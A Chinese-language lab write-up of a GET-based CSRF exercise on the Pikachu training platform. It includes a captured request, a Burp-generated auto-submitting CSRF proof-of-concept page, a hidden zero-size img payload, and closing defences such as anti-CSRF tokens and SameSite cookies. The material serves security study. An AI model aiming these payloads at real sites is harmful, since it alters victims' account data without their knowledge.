1. 核心考点
- CSRF (跨站请求伪造):攻击者诱导受害者访问恶意页面,利用受害者的身份(Cookie/Session)向服务器发送非预期的请求。
- GET 请求特性:参数包含在 URL 中,利用成本极低(甚至不需要构造表单,一个
<img>标签或链接即可触发)。 - 身份凭证自动发送:理解浏览器在发送请求时,会自动带上目标域名的 Cookie,这是 CSRF 成立的根本原因。
2. 漏洞复现
2.1 场景模拟
- 攻击者 (Attacker): Vince (目的是篡改他人的个人信息)。
- 受害者 (Victim): Allen (当前处于登录状态)。
2.2 攻击步骤
分析请求结构 :
攻击者 Vince 登录自己的账号,修改个人信息并抓包,分析修改请求的 URL 结构。
抓获的数据包 (GET 请求):GET /vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18655031323&add=nba+shark&email=vince%40pikachu.com&submit=submit HTTP/1.1 Host: localhost:8899 ...
发现:修改信息只需要访问一个带有特定参数的 URL,且没有任何随机 Token 验证。

构造 Payload (恶意网页):
利用 Burp Suite 的 Engagement tools -> Generate CSRF PoC 生成攻击页面。

为了达到“不知不觉”的效果,利用 JavaScript 实现页面加载后 自动提交 。 生成的恶意 HTML 代码核心:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:8899/vul/csrf/csrfget/csrf_get_edit.php">
<input type="hidden" name="sex" value="boy" />
<input type="hidden" name="phonenum" value="18655031323" />
<input type="hidden" name="add" value="nba shark" />
<input type="hidden" name="email" value="vince@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('','', '/');
document.forms[0].submit();
</script>
</body>
</html>
实施攻击:
攻击者将上述代码保存为 HTML 文件,放置在恶意服务器上(如 http://www.hzx123.xyz/csrf.html)。

诱导受害者 Allen 在 保持登录 的情况下访问该链接。
验证结果 :
Allen 点击链接后,页面闪过(正常应该是自动跳转并提交,但我这里没有这样搞,是为了让攻击显示的更朴素点)。
刷新 Allen 的个人中心,发现手机号变为 18655031323,邮箱变为 vince@pikachu.com,攻击成功。

3. 踩坑与思考 (Reflections)
- 为什么一定要登录?
CSRF 的核心是“借刀杀人”。修改信息需要权限,服务器只认 Cookie。如果 Allen 没登录(或者 Cookie 已失效),浏览器发送的请求里没有有效凭证,服务器就会拒绝修改。 - GET 型的特殊性 :
虽然我这里用了 Burp 生成的表单(POST 风格的 GET 提交),但实际上对于 GET 型 CSRF,这甚至有些“大材小用”。
最简单的 Payload 甚至可以是一张图片:
<!-- 当受害者浏览包含此标签的论坛帖子时,无需点击,直接中招 -->
<img src="http://localhost:8899/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123..." width="0" height="0" />
4. 防御措施
- Anti-CSRF Token (最有效):
在表单中加入一个随机的、不可预测的 Token。服务器在接收请求时验证该 Token。攻击者无法提前预知受害者的 Token,因此无法构造有效的请求 URL。 - 检查 Referer 字段 :
服务器检查 HTTP 头部的Referer字段,确保请求是来自本站页面(如pikachu.com/profile),而不是外部站点(如evil.com/trap.html)。 - 使用 POST 请求 :
虽然 POST 也能被 CSRF(下一关会讲),但至少不能通过<img>或<a>标签直接触发,增加了攻击成本。 - SameSite Cookie 属性 :
设置 Cookie 的SameSite属性为Strict或Lax,限制第三方 Cookie 的发送。
正文完